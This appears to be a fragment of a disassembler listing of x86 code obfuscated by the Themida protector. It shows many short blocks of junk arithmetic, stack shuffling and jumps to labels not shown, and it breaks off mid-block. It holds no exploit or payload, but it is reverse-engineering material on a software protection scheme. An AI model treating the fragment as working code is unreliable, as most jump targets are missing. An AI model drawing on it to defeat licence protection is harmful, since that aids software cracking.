loc_565295: ; CODE XREF: sub_562ABA+4FC7j
add eax, ecx
jmp loc_56B5F7
; ---------------------------------------------------------------------------
loc_56529C: ; CODE XREF: sub_562ABA+B0FFj
pop edx
pop [esp+3Eh+var_3E]
jmp loc_56AC44
; ---------------------------------------------------------------------------
loc_5652A5: ; CODE XREF: sub_562ABA+6782j
pop ecx
jmp loc_564B70
; ---------------------------------------------------------------------------
loc_5652AB: ; CODE XREF: sub_562ABA+7A88j
mov ebp, [esp+36h+var_36]
jmp loc_57168D
; ---------------------------------------------------------------------------
loc_5652B3: ; CODE XREF: sub_562ABA+A343j
mov ebp, 8235A2Dh
add esi, ebp
pop ebp
add esi, eax
jmp loc_5727E5
; ---------------------------------------------------------------------------
loc_5652C2: ; CODE XREF: sub_562ABA+F730j
push 7F4Ch
mov [esp+36h+var_36], ecx
jmp loc_565893
; ---------------------------------------------------------------------------
loc_5652CF: ; CODE XREF: sub_562ABA+34B6j
pop edx
xchg ecx, [esp+32h+var_32]
jmp loc_56730D
; ---------------------------------------------------------------------------
loc_5652D8: ; CODE XREF: sub_562ABA+9095j
and esi, ebp
pop ebp
shr esi, 4
add esi, 4B730768h
jmp loc_56D293
; ---------------------------------------------------------------------------
loc_5652E9: ; CODE XREF: sub_562ABA+96E9j
push ebp
mov ebp, edx
push esi
jmp loc_5662A2
; ---------------------------------------------------------------------------
loc_5652F2: ; CODE XREF: sub_56099B+7j
pop ebp
jmp loc_5662B2
; ---------------------------------------------------------------------------
loc_5652F8: ; CODE XREF: sub_562ABA-31FDj
mov ebx, [esp+1Eh+var_1E]
add esp, 4
dec eax
add eax, 11F30858h
push ecx
mov ecx, 31EF3831h
or eax, ecx
jmp loc_56C95A
; ---------------------------------------------------------------------------
loc_565311: ; CODE XREF: sub_562ABA+10102j
mov eax, 8617C4F4h
mov ebx, eax
jmp loc_56CAE3
; ---------------------------------------------------------------------------
push [esp+1Eh+var_1E]
mov eax, [esp+22h+var_22]
push ecx
mov ecx, esp
jmp loc_55E83D
; ---------------------------------------------------------------------------
loc_56532B: ; CODE XREF: sub_562ABA+71ACj
pop ebp
add edx, 8C096CEAh
jmp loc_56A058
; ---------------------------------------------------------------------------
loc_565337: ; CODE XREF: sub_562ABA+6A87j
xchg ecx, [esp+22h+var_22]
pop esp
mov [esp+1Eh+var_1E], eax
mov al, 90h
sub bl, al
pop eax
push eax
jmp loc_56C203
; ---------------------------------------------------------------------------
loc_565349: ; CODE XREF: sub_562ABA+7F39j
sub ebp, 0D4C65F76h
or esi, ebp
pop ebp
jmp loc_572822
; ---------------------------------------------------------------------------
loc_565357: ; CODE XREF: sub_562ABA+3690j
mov edi, 2F5406E2h
sub ecx, edi
pop edi
add ecx, edx
add ecx, 2F5406E2h
sub ecx, 4D044A3Dh
pop edx
xor eax, ecx
pop ecx
jmp loc_5695A7
; ---------------------------------------------------------------------------
loc_565376: ; CODE XREF: sub_562ABA+1010j
push esp
mov esi, [esp-8+arg_4]
add esp, 4
push eax
mov eax, 25072A36h
or eax, 25503216h
jmp loc_569588
; ---------------------------------------------------------------------------
loc_565390: ; CODE XREF: sub_562ABA-414Dj
sub ecx, edi
pop edi
sub ecx, 53BA236Eh
sub ecx, 776C56DDh
add ecx, edi
add ecx, 776C56DDh
add ecx, 53BA236Eh
sub esp, 4
mov [esp+22h+var_22], esi
mov esi, 428B4E32h
add ecx, esi
pop esi
push ebx
jmp loc_570281
; ---------------------------------------------------------------------------
loc_5653C1: ; CODE XREF: sub_562ABA+50B1j
pop esp
add esp, 4
sub eax, 4
xor eax, [esp+1Ah+var_1A]
jmp loc_56B08A
; ---------------------------------------------------------------------------
loc_5653D2: ; CODE XREF: sub_562ABA-48C2j
push edx
mov edx, 39D97956h
jmp loc_56BA00
; ---------------------------------------------------------------------------
lodsd
sub eax, 613742E4h
add eax, 9990B59h
jmp loc_56B78A
; ---------------------------------------------------------------------------
loc_5653ED: ; CODE XREF: sub_562ABA+4FBAj
mov edx, 4
add [esp+4], edx
pop edx
push dword ptr [esp+0]
pop eax
add esp, 4
push edi
mov edi, 4
jmp loc_56769D
; ---------------------------------------------------------------------------
loc_565409: ; CODE XREF: sub_562ABA-1092j
sub [esp-6+arg_0+2], 1F673736h
mov ecx, [esp-6+arg_0+2]
jmp sub_55F3A9
; ---------------------------------------------------------------------------
loc_565418: ; CODE XREF: sub_562ABA+68BEj
xor eax, ebx
xor ebx, eax
xor eax, ebx
not ebx
xor eax, ebx
xor ebx, eax
xor eax, ebx
shr eax, 6
add eax, 0FCCD1A00h
add ecx, eax
push [esp-6+arg_0+2]
jmp loc_56FF0B
; ---------------------------------------------------------------------------
loc_565438: ; CODE XREF: sub_562ABA+93CCj
push 592Ch
mov [esp+2+var_4+2], ecx
jmp loc_56049F
; ---------------------------------------------------------------------------
loc_565445: ; CODE XREF: sub_562ABA+597Bj
mov [esp+2+var_4+2], ebp
add [esp+2+var_4+2], 3BDB1831h
mov ecx, [esp+2+var_4+2]
add esp, 4
push ebp
mov ebp, 4C342ACh
and ebp, 64712AD0h
add ebp, 5B341F9Fh
dec ebp
xor ebp, 64AE3A2Fh
sub ecx, 43F93489h
sub ecx, ebp
add ecx, 43F93489h
mov ebp, [esp+2+var_4+2]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_56F6E7
; ---------------------------------------------------------------------------
loc_565493: ; CODE XREF: sub_562ABA+726Bj
mov esi, 4
jmp loc_567BBF
; ---------------------------------------------------------------------------
loc_56549D: ; CODE XREF: sub_562ABA+5563j
mov edx, edi
pop edi
shl edx, 3
jmp loc_55EDAD
; ---------------------------------------------------------------------------
loc_5654A8: ; CODE XREF: sub_562ABA+7B28j
push ebx
push edx
push ebx
push ecx
mov cl, al
mov bl, cl
pop ecx
mov dl, bl
pop ebx
push 7947h
mov [esp+0], eax
mov al, dl
mov bh, al
mov eax, [esp+0]
jmp loc_563B65
; ---------------------------------------------------------------------------
loc_5654C8: ; CODE XREF: sub_562ABA+304Fj
mov edx, [esp+0]
add esp, 4
jmp loc_561FFA
; ---------------------------------------------------------------------------
loc_5654D6: ; CODE XREF: sub_562ABA+61DFj
add edi, 23141590h
mov esi, [esp+0Ah+var_C+2]
add esp, 4
jmp loc_570408
; ---------------------------------------------------------------------------
loc_5654E7: ; CODE XREF: sub_562ABA+8CE2j
push 9990B59h
pop esi
sub eax, esi
jmp loc_564FC7
; ---------------------------------------------------------------------------
loc_5654F4: ; CODE XREF: sub_562ABA+C91j
push 3C7Dh
mov [esp+52h+var_52], eax
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_565501: ; CODE XREF: sub_562ABA+4689j
push 0B19h
mov [esp+56h+var_56], ebp
push 9722AAFh
pop ebp
or ebp, 340B393Ah
jmp loc_569EFF
; ---------------------------------------------------------------------------
loc_56551A: ; CODE XREF: sub_562ABA+15F7j
push dword ptr [esp+4]
jmp loc_565D0E
; ---------------------------------------------------------------------------
loc_565523: ; CODE XREF: sub_562ABA+1B00j
sub esp, 4
mov [esp+36h+var_36], esp
jmp loc_56DD9F
; ---------------------------------------------------------------------------
loc_56552E: ; CODE XREF: sub_562ABA+BF0Aj
pop esp
or ecx, ecx
jz loc_56E462
sub esp, 4
mov [esp+36h+var_36], edi
sub esp, 4
push esp
pop [esp+3Eh+var_3E]
push ebp
mov ebp, 4
add [esp+3Eh+var_3A], ebp
pop ebp
push [esp+3Ah+var_3A]
jmp loc_570304
; ---------------------------------------------------------------------------
loc_56555A: ; CODE XREF: sub_562ABA+BF4j
pop esp
push [esp+42h+var_42]
pop eax
add esp, 4
sub esp, 4
mov [esp+42h+var_42], edi
jmp loc_55E345
; ---------------------------------------------------------------------------
loc_565573: ; CODE XREF: sub_562ABA+9F2Bj
pop esi
shr esi, 8
or esi, 5E3065B9h
xor esi, 58862287h
not esi
xchg ecx, esi
jmp loc_56CBCF
; ---------------------------------------------------------------------------
loc_56558C: ; CODE XREF: sub_562ABA+4A08j
add esp, 4
push edi
jmp loc_56CA87
; ---------------------------------------------------------------------------
loc_565595: ; CODE XREF: sub_562ABA+85A0j
sub esp, 4
jmp near ptr byte_55ECB7
; ---------------------------------------------------------------------------
loc_56559D: ; CODE XREF: sub_562ABA-1026j
push esp
pop ecx
add ecx, 4
push edx
push eax
jmp loc_56300E
; ---------------------------------------------------------------------------
loc_5655AC: ; CODE XREF: sub_562ABA+87DEj
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0]
pop esp
add eax, 4
push ebp
mov ebp, 2
add eax, 31EE3177h
push ebp
mov ebp, 17890026h
sub eax, 12277E9Eh
add eax, ebp
jmp loc_564E4B
; ---------------------------------------------------------------------------
loc_5655DD: ; CODE XREF: sub_562ABA+4373j
mov edi, 73A81AF7h
add ebp, edi
pop edi
jmp loc_56756C
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push ebx
push esp
pop ebx
jmp loc_5727C0
; ---------------------------------------------------------------------------
loc_5655F5: ; CODE XREF: sub_562ABA+8760j
shr eax, 0Ch
jmp loc_56973F
; ---------------------------------------------------------------------------
loc_5655FD: ; CODE XREF: sub_571EF9+11j
add ecx, edi
add ecx, 536B0613h
mov edi, [esp+12h+var_12]
add esp, 4
xchg ecx, [esp+0]
jmp loc_56A9A1
; ---------------------------------------------------------------------------
loc_565616: ; CODE XREF: sub_562ABA+3D29j
mov [esp+0], esp
push esi
push ebx
mov ebx, 5DDB1CC3h
push 5DDB1CC7h
pop esi
xor esi, ebx
jmp loc_570BFB
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+16h+var_16]
push 1E76h
mov [esp+1Ah+var_1A], ebx
mov ebx, esp
push ecx
mov ecx, 16502946h
push edx
jmp loc_571682
; ---------------------------------------------------------------------------
loc_565647: ; CODE XREF: sub_562ABA+4CB6j
xor edx, ebx
pop ebx
push ebp
mov ebp, 930CCCh
inc ebp
jmp loc_56E069
; ---------------------------------------------------------------------------
loc_565656: ; CODE XREF: sub_562ABA+9F73j
not eax
add eax, 0A2CB564Eh
jmp loc_570006
; ---------------------------------------------------------------------------
loc_565662: ; CODE XREF: sub_562ABA-1B9Fj
mov edi, 33506DA5h
jmp loc_56C64A
; ---------------------------------------------------------------------------
loc_56566C: ; CODE XREF: sub_562ABA+1313j
mov [esp+3Ah+var_3A], esp
add [esp+3Ah+var_3A], 4
mov edx, [esp+3Ah+var_3A]
add esp, 4
push ebp
mov ebp, 1F3F0A46h
sub ebp, 0C4137A3h
add ebp, 0ED022D61h
add edx, ebp
pop ebp
add edx, 4
xchg edx, [esp+36h+var_36]
pop esp
push ebx
mov ebx, esp
push edx
mov edx, 0A17888h
shl edx, 8
or edx, 1C673D76h
xor edx, 0BD7FBD72h
add ebx, edx
pop edx
sub ebx, 4
xor ebx, [esp+36h+var_36]
xor [esp+36h+var_36], ebx
xor ebx, [esp+36h+var_36]
pop esp
mov [esp+32h+var_32], edi
push dword ptr [esp+4]
pop edi
pop [esp+32h+var_32]
jmp loc_56638C
; ---------------------------------------------------------------------------
loc_5656D6: ; CODE XREF: sub_562ABA-3C85j
push [esp+22h+var_22]
jmp loc_56F907
; ---------------------------------------------------------------------------
loc_5656DE: ; CODE XREF: sub_562ABA-B4Dj
add bh, 0E7h
shr bh, 6
sub bh, 2Bh
add bh, 0B0h
sub ch, bh
mov ebx, [esp+6+var_8+2]
jmp loc_55F5A8
; ---------------------------------------------------------------------------
loc_5656F4: ; CODE XREF: sub_562ABA+6AE8j
xchg esi, [esp+6+var_8+2]
pop esp
mov [esp+2+var_4+2], esi
jmp loc_570728
; ---------------------------------------------------------------------------
loc_565700: ; CODE XREF: sub_562ABA+A62Ej
add ecx, 4
push ebx
mov ebx, 4
jmp loc_568556
; ---------------------------------------------------------------------------
loc_565711: ; CODE XREF: sub_562ABA-156Fj
mov esp, [esp-0Eh+arg_8+2]
test cx, ax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56571D: ; DATA XREF: Themida_:0055DDF4o
mov ax, word ptr [esp-0Ah+arg_4+2]
sub esp, 4
mov [esp-6+arg_0+2], eax
mov eax, esp
push edx
mov edx, 4E1F2E40h
dec edx
jmp loc_56C99C
; ---------------------------------------------------------------------------
push dword ptr [esp+0]
push [esp+2+var_4+2]
jmp loc_561C4B
; ---------------------------------------------------------------------------
loc_565743: ; CODE XREF: sub_562ABA+5A97j
push edx
mov edx, 1E880A60h
or edx, 5C692214h
or edx, 46B338C5h
xor edx, 0F4DF7C29h
jmp loc_55E10D
; ---------------------------------------------------------------------------
loc_565760: ; CODE XREF: sub_562ABA-318Aj
push edx
pop edi
pop edx
xchg edi, edx
jmp loc_561F88
; ---------------------------------------------------------------------------
loc_56576A: ; CODE XREF: sub_562ABA+57A2j
add ecx, 9D30AF5Fh
add edx, ecx
pop ecx
add ecx, edx
pop edx
xor ecx, [esp+6+var_8+2]
xor [esp+6+var_8+2], ecx
xor ecx, [esp+6+var_8+2]
pop esp
push 7798h
jmp loc_56DD76
; ---------------------------------------------------------------------------
loc_56578A: ; CODE XREF: sub_562ABA-49B2j
xor edi, ecx
pop ecx
sub edi, 9DB45216h
jmp loc_5697F9
; ---------------------------------------------------------------------------
loc_565798: ; CODE XREF: sub_562ABA+39j
mov dh, 1Ch
xor dh, 5
inc dh
xor dh, 1Ah
sub dh, 59h
push ecx
mov cl, 6Bh
xor dh, cl
pop ecx
or cl, dh
pop edx
shl cl, 1
xor cl, 52h
mov al, cl
pop ecx
not al
sub al, 9Bh
jmp loc_565A0A
; ---------------------------------------------------------------------------
loc_5657BF: ; CODE XREF: sub_562ABA+B90j
not ecx
push 7F3Ch
jmp loc_568DF4
; ---------------------------------------------------------------------------
loc_5657CB: ; CODE XREF: sub_562ABA+18ECj
mov [esp+16h+var_16], ecx
mov ecx, 2
add edx, 12903EADh
jmp loc_566A35
; ---------------------------------------------------------------------------
loc_5657DE: ; CODE XREF: sub_562ABA+327Cj
push [esp+16h+var_16]
jmp loc_565B24
; ---------------------------------------------------------------------------
loc_5657E6: ; CODE XREF: sub_562ABA+B9E5j
xor [esp+1Ah+var_16], esi
jmp loc_56016D
; ---------------------------------------------------------------------------
loc_5657EF: ; CODE XREF: sub_562ABA+EA09j
push edi
jmp loc_56F48E
; ---------------------------------------------------------------------------
loc_5657F5: ; CODE XREF: sub_562ABA+76C5j
push ebx
mov ebx, edi
jmp loc_56C474
; ---------------------------------------------------------------------------
loc_5657FD: ; CODE XREF: sub_562ABA+7225j
add ebp, 4
sub esp, 4
jmp loc_567D88
; ---------------------------------------------------------------------------
loc_56580E: ; CODE XREF: sub_562ABA+6439j
mov [esp+26h+var_28+2], esi
mov esi, 4
add edi, esi
jmp loc_571BDC
; ---------------------------------------------------------------------------
loc_56581D: ; CODE XREF: sub_562ABA+490Cj
sub ecx, esi
mov esi, [esp+26h+var_28+2]
add esp, 4
xor ecx, 70F009BDh
push edx
mov edx, 6B197DFDh
neg edx
sub edx, 5A070AA9h
and edx, 7AD24E81h
xor edx, 58F64932h
xor edx, 37E035A4h
sub ecx, edx
pop edx
push eax
push ebp
mov ebp, 681348CEh
jmp loc_562F2C
; ---------------------------------------------------------------------------
loc_56585A: ; CODE XREF: sub_562ABA-467Cj
pop edx
xor ecx, edx
jmp loc_562010
; ---------------------------------------------------------------------------
loc_565862: ; CODE XREF: sub_562ABA+D2C6j
movzx eax, al
push small 477h
mov word ptr [esp-6+arg_0+2], ax
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_565872: ; CODE XREF: sub_562ABA-16EFj
dec ebx
push eax
mov eax, 7FA7BFEAh
xor ebx, eax
mov eax, [esp-0Ch+arg_8]
jmp loc_56E510
; ---------------------------------------------------------------------------
loc_565883: ; CODE XREF: sub_562ABA+49F7j
push 6Fh
mov [esp-8+arg_4], eax
push edx
pop eax
pop edx
jmp loc_56C7EA
; ---------------------------------------------------------------------------
loc_565893: ; CODE XREF: sub_562ABA+2810j
mov ecx, 1B8B1C53h
push edx
mov edx, 14714924h
jmp loc_5682F4
; ---------------------------------------------------------------------------
loc_5658A3: ; CODE XREF: sub_562ABA-1D07j
sub eax, 0BC3328C5h
sub ecx, 359F0A32h
sub esp, 4
mov [esp+36h+var_36], edx
mov edx, 58080ABFh
jmp loc_5667CD
; ---------------------------------------------------------------------------
loc_5658BE: ; CODE XREF: sub_562ABA-1460j
shr edx, 8
jmp loc_57195F
; ---------------------------------------------------------------------------
loc_5658C6: ; CODE XREF: sub_562ABA+8E1Aj
or edi, 729D7874h
jmp loc_56CD76
; ---------------------------------------------------------------------------
loc_5658D1: ; CODE XREF: sub_562ABA+D97Ej
mov ch, bl
jmp loc_56D8E6
; ---------------------------------------------------------------------------
loc_5658D8: ; CODE XREF: sub_562ABA+73D6j
mov [esp+32h+var_32], ebp
push esp
pop ebp
push 3F65h
mov [esp+36h+var_36], ebx
mov ebx, 4
push esi
mov esi, 5F4D0A65h
not esi
not esi
shl esi, 7
push ecx
jmp loc_56E745
; ---------------------------------------------------------------------------
loc_5658FD: ; CODE XREF: sub_562ABA+300Aj
push ebx
push 0EE348C5h
jmp loc_56EEE6
; ---------------------------------------------------------------------------
loc_565908: ; CODE XREF: sub_562ABA+CECFj
dec ah
sub ah, 0C4h
add ah, 0F9h
xor ah, 3
mov cl, ah
pop eax
sub al, 40h
add al, cl
add al, 40h
mov cx, word ptr [esp+42h+var_42]
add esp, 2
add al, ch
sub al, 79h
mov ecx, [esp+3Eh+var_3E]
jmp sub_560F80
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+3Eh+var_3E]
sub esp, 4
mov [esp+42h+var_42], eax
mov eax, esp
sub esp, 4
mov [esp+46h+var_46], ebx
push ebp
push 34847E9h
pop ebp
mov ebx, 0FCB7B81Bh
sub ebx, 7C582D61h
push eax
mov eax, 49922AE3h
add eax, 4A1809FCh
xor eax, 514619Ch
or eax, 20B1947h
add eax, 0CD19BB7Eh
jmp loc_56761F
; ---------------------------------------------------------------------------
loc_565972: ; CODE XREF: sub_562ABA+F5B9j
add eax, 4
xchg eax, [esp+4Eh+var_4E]
mov esp, [esp+4Eh+var_4E]
add ebp, 4
push ebx
mov ebx, 2
jmp loc_55FD49
; ---------------------------------------------------------------------------
loc_56598C: ; CODE XREF: sub_562ABA+972Bj
mov ah, 0BBh
neg ah
and ah, 8Eh
xor ah, 72h
sub ah, 44h
push small 116Bh
mov word ptr [esp+54h+var_56+2], dx
mov dh, 0Eh
xor ah, dh
pop dx
push small 28CCh
mov word ptr [esp+54h+var_56+2], cx
mov ch, 57h
add ch, 0B1h
neg ch
jmp loc_560E24
; ---------------------------------------------------------------------------
loc_5659BB: ; CODE XREF: sub_562ABA+9548j
sub ebp, edx
pop edx
jmp loc_5668BF
; ---------------------------------------------------------------------------
loc_5659C3: ; CODE XREF: sub_562ABA+A822j
pop ax
sub bl, 92h
neg bl
jmp loc_569BE4
; ---------------------------------------------------------------------------
loc_5659CF: ; CODE XREF: sub_562ABA+C9FFj
mov edx, 244E4C8Eh
push ebp
mov ebp, 60352D93h
push edx
mov edx, 3B9A05FCh
jmp loc_5711F2
; ---------------------------------------------------------------------------
loc_5659E5: ; CODE XREF: sub_562ABA+8354j
add edi, 7BC30E46h
jmp loc_5638F2
; ---------------------------------------------------------------------------
loc_5659F0: ; CODE XREF: sub_562ABA+4BA7j
mov edx, 19DA1588h
not edx
sub edx, 4BF6A5D7h
sub ecx, 247E2F23h
add ecx, edx
jmp loc_565152
; ---------------------------------------------------------------------------
loc_565A0A: ; CODE XREF: sub_562ABA+2D00j
add al, 0DDh
mov bh, al
mov eax, [esp+2Ah+var_2C+2]
add esp, 4
xor bh, 0D6h
push ecx
jmp loc_566FCD
; ---------------------------------------------------------------------------
loc_565A1D: ; CODE XREF: sub_562ABA+83F1j
mov [esp+2Ah+var_2C+2], ebx
mov ebx, 3250683Ch
jmp loc_561D9C
; ---------------------------------------------------------------------------
loc_565A2A: ; CODE XREF: sub_562ABA-50Dj
push small 2645h
mov word ptr [esp+2Ch+var_2C], dx
push 3E50h
mov [esp+30h+var_32+2], ecx
jmp loc_55FE55
; ---------------------------------------------------------------------------
loc_565A3F: ; CODE XREF: sub_562ABA-3D9Dj
mov esp, [esp+1Eh+var_1E]
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xor ebx, [esp+22h+var_22]
xor [esp+22h+var_22], ebx
xor ebx, [esp+22h+var_22]
mov esp, [esp+22h+var_22]
mov [esp+22h+var_22], ebx
push 5CA2h
mov [esp+26h+var_28+2], ecx
push esi
jmp loc_563488
; ---------------------------------------------------------------------------
loc_565A6E: ; CODE XREF: sub_562ABA+43FBj
pop eax
inc eax
xor eax, 2CA8564Dh
mov ebp, eax
mov eax, [esp+26h+var_28+2]
jmp loc_560ADA
; ---------------------------------------------------------------------------
loc_565A7F: ; CODE XREF: sub_562ABA+272Cj
xor edx, 4887471h
shl edx, 3
sub edx, 59823F50h
jmp loc_568401
; ---------------------------------------------------------------------------
loc_565A93: ; CODE XREF: sub_562ABA+7B47j
sub al, ch
pop ecx
jmp loc_56F34A
; ---------------------------------------------------------------------------
loc_565A9B: ; CODE XREF: sub_562ABA+F39Fj
sub ecx, 6848070Fh
sub edx, ecx
mov ecx, [esp-0Ah+arg_4+2]
add esp, 4
mov eax, edx
mov edx, [esp-0Eh+arg_8+2]
add esp, 4
add edx, eax
pop eax
sub ebp, 345844E9h
add ebp, edx
add ebp, 345844E9h
pop edx
push edx
jmp loc_5658FD
; ---------------------------------------------------------------------------
loc_565AC9: ; CODE XREF: sub_562ABA-70Dj
mov edi, 498166EFh
dec edi
jmp loc_5601DA
; ---------------------------------------------------------------------------
loc_565AD4: ; CODE XREF: sub_562ABA+8B38j
mov [esp+42h+var_42], eax
push ecx
push edx
push ecx
jmp loc_56DA96
; ---------------------------------------------------------------------------
loc_565ADF: ; CODE XREF: sub_562ABA+FCD8j
push bx
push eax
jmp loc_56EE5B
; ---------------------------------------------------------------------------
loc_565AE7: ; CODE XREF: sub_562ABA-1174j
xor edx, esi
xor esi, edx
xor edx, esi
sub edx, 0FFFFFFFFh
dec edx
push ecx
mov ecx, 691C820Dh
xor edx, ecx
pop ecx
sub eax, 4DCA1611h
add eax, edx
add eax, 4DCA1611h
jmp loc_5654C8
; ---------------------------------------------------------------------------
loc_565B0E: ; CODE XREF: sub_562ABA+6AC9j
pop esi
jmp loc_55F4BF
; ---------------------------------------------------------------------------
loc_565B14: ; CODE XREF: sub_562ABA-2EF2j
push [esp+0Ah+var_C+2]
pop edi
add esp, 4
push esi
jmp loc_560F11
; ---------------------------------------------------------------------------
loc_565B24: ; CODE XREF: sub_562ABA+2D27j
pop esi
add esp, 4
add ebx, esi
push [esp+12h+var_12]
pop esi
add esp, 4
jmp loc_567C59
; ---------------------------------------------------------------------------
loc_565B36: ; CODE XREF: sub_562ABA+1F5j
add ebp, edx
sub ebp, 7B9B5CC1h
mov edx, [esp+0Ch+var_C]
add esp, 4
sub ebp, edi
sub ebp, 45B809FFh
jmp loc_561DD0
; ---------------------------------------------------------------------------
loc_565B51: ; CODE XREF: sub_562ABA+CDB1j
push esp
jmp loc_57214A
; ---------------------------------------------------------------------------
loc_565B57: ; CODE XREF: sub_562ABA+EE8Dj
movzx eax, al
mov dx, word ptr [esp+0Ch+var_C]
sub esp, 4
mov [esp+10h+var_12+2], eax
push 2AB6h
mov [esp+14h+var_16+2], esp
add [esp+14h+var_16+2], 4
push [esp+14h+var_16+2]
mov eax, [esp+18h+var_1A+2]
add esp, 4
add esp, 4
push esi
mov esi, 4F884666h
add esi, 1
push 6691h
mov [esp+18h+var_1A+2], edi
mov edi, 4C7949AFh
xor esi, edi
pop edi
not esi
dec esi
jmp loc_5705FC
; ---------------------------------------------------------------------------
loc_565BA9: ; CODE XREF: sub_562ABA+E298j
cmp cx, ax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_565BB2: ; CODE XREF: sub_562ABA+E05Cj
push edi
mov edi, 0
sub edi, edx
xchg edi, edx
pop edi
shr edx, 7
inc edx
jmp loc_5683E7
; ---------------------------------------------------------------------------
loc_565BC6: ; CODE XREF: sub_562ABA-476Fj
mov edi, 0D159CC05h
jmp loc_55E7CF
; ---------------------------------------------------------------------------
loc_565BD0: ; CODE XREF: sub_562ABA+1B7Dj
pop ebp
mov eax, ebp
pop ebp
sub ebx, 34D54562h
add ebx, eax
add ebx, 34D54562h
pop eax
push esi
mov esi, 4
jmp loc_56F9AA
; ---------------------------------------------------------------------------
loc_565BEE: ; CODE XREF: sub_562ABA+E12Fj
pop ecx
sub bl, dh
add bl, 1Fh
jmp loc_560E0E
; ---------------------------------------------------------------------------
loc_565BF9: ; CODE XREF: sub_562ABA+3F51j
mov dl, 8Ch
push edx
mov dh, 0A4h
dec dh
push small 2A05h
mov word ptr [esp+28h+var_28], cx
mov cl, 0BAh
and dh, cl
pop cx
jmp loc_56AF9B
; ---------------------------------------------------------------------------
push [esp+26h+var_28+2]
pop ecx
jmp loc_569326
; ---------------------------------------------------------------------------
loc_565C1C: ; CODE XREF: sub_562ABA+BB72j
push ecx
push edx
jmp loc_56D12E
; ---------------------------------------------------------------------------
mov ecx, [esp+0]
sub esp, 4
mov [esp+32h+var_32], ebp
mov ebp, esp
jmp loc_55F3ED
; ---------------------------------------------------------------------------
loc_565C36: ; CODE XREF: sub_562ABA+A571j
mov edx, ecx
pop ecx
sub edi, edx
jmp loc_571A2A
; ---------------------------------------------------------------------------
loc_565C40: ; CODE XREF: sub_562ABA+3E9Fj
shl esi, 8
shl esi, 7
push edx
mov edx, 3AE85E0Dh
xor edx, 7E6E76FBh
dec edx
shl edx, 6
not edx
xor edx, 6ED67F8Ah
jmp loc_56E953
; ---------------------------------------------------------------------------
loc_565C63: ; CODE XREF: sub_562ABA+26AFj
pop ecx
jmp loc_565E81
; ---------------------------------------------------------------------------
loc_565C69: ; CODE XREF: sub_562ABA+975Ej
mov ebx, 4BCC4DFAh
jmp loc_56E71F
; ---------------------------------------------------------------------------
loc_565C73: ; CODE XREF: sub_562ABA-3508j
add eax, 4
jmp loc_56C83C
; ---------------------------------------------------------------------------
loc_565C7D: ; CODE XREF: sub_562ABA-BB1j
shr edx, 1
push 18FAh
mov [esp+0], eax
mov eax, 433044Ch
not eax
jmp loc_56AD4A
; ---------------------------------------------------------------------------
loc_565C93: ; CODE XREF: sub_562ABA+857Fj
mov ecx, esp
push 2D27h
jmp loc_56177E
; ---------------------------------------------------------------------------
loc_565C9F: ; CODE XREF: sub_562ABA+1D96j
push ebp
jmp loc_560ED2
; ---------------------------------------------------------------------------
loc_565CA5: ; CODE XREF: sub_562ABA-40F1j
pop edi
push edi
mov edi, 52350185h
sub ebp, 7CE449F7h
add ebp, 1D2E035Ah
add ebp, edi
sub ebp, 1D2E035Ah
add ebp, 7CE449F7h
pop edi
add ebp, ebx
sub ebp, 52350185h
push [esp+1Eh+var_1E]
mov ebx, [esp+22h+var_22]
add esp, 4
push 1E1Dh
mov [esp+22h+var_22], edi
mov edi, esp
push ecx
mov ecx, 0E9509E1h
jmp loc_56A296
; ---------------------------------------------------------------------------
loc_565CED: ; CODE XREF: sub_562ABA+3401j
add esp, 4
add ebx, edi
mov edi, [esp+22h+var_22]
sub esp, 4
mov [esp+26h+var_28+2], ebx
mov ebx, esp
add ebx, 4
jmp loc_569CAC
; ---------------------------------------------------------------------------
loc_565D0E: ; CODE XREF: sub_562ABA+2A64j
pop ecx
pop [esp+12h+var_12]
jmp loc_571BE2
; ---------------------------------------------------------------------------
loc_565D17: ; CODE XREF: sub_562ABA+6791j
push 6F4Ah
jmp loc_572806
; ---------------------------------------------------------------------------
loc_565D21: ; DATA XREF: Themida_:0055DFB8o
lodsd
jmp loc_5718A3
; ---------------------------------------------------------------------------
loc_565D27: ; CODE XREF: sub_562ABA+BCCj
xor ebx, edx
pop edx
add ebx, 616D79AFh
push esi
push 0E7FAA0D9h
jmp loc_5657DE
; ---------------------------------------------------------------------------
loc_565D3B: ; CODE XREF: sub_562ABA+5CBDj
add ecx, edx
jmp loc_570A7A
; ---------------------------------------------------------------------------
loc_565D42: ; CODE XREF: sub_562ABA+AE36j
mov [esp-4+arg_0], edx
jmp loc_5640B6
; ---------------------------------------------------------------------------
loc_565D4A: ; CODE XREF: sub_562ABA+E4DAj
push esp
pop eax
push ebx
jmp loc_56C274
; ---------------------------------------------------------------------------
loc_565D52: ; CODE XREF: sub_562ABA+57DEj
or edx, 0F73B0Ch
add edx, 0B9BABC29h
add ebx, edx
pop edx
push esi
mov esi, 19290FE2h
sub eax, esi
pop esi
add eax, ebx
add eax, 19290FE2h
pop ebx
pop ebp
jmp loc_56EAA4
; ---------------------------------------------------------------------------
loc_565D78: ; CODE XREF: sub_562ABA+4039j
push ebx
push esp
jmp loc_55FFD6
; ---------------------------------------------------------------------------
loc_565D7F: ; CODE XREF: sub_562ABA+4F46j
push esi
mov esi, 6862FDC1h
sub ecx, esi
pop esi
mov edx, ecx
mov ecx, [esp-4+arg_0]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+0]
pop esp
add eax, edx
pop edx
sub eax, 324D7C0Eh
jmp loc_56B5D9
; ---------------------------------------------------------------------------
loc_565DAA: ; CODE XREF: sub_562ABA+612Ej
mov eax, 4
add esi, 2B1B094Ah
jmp loc_55E578
; ---------------------------------------------------------------------------
loc_565DBA: ; CODE XREF: sub_562ABA+4613j
inc ebp
jmp loc_56E840
; ---------------------------------------------------------------------------
loc_565DC0: ; CODE XREF: sub_562ABA+9A61j
mov ebx, esp
jmp loc_561010
; ---------------------------------------------------------------------------
loc_565DC7: ; CODE XREF: sub_562ABA-2E22j
inc ah
xor ah, 0FAh
or ah, 0C5h
add ah, 93h
not ah
xor ah, 57h
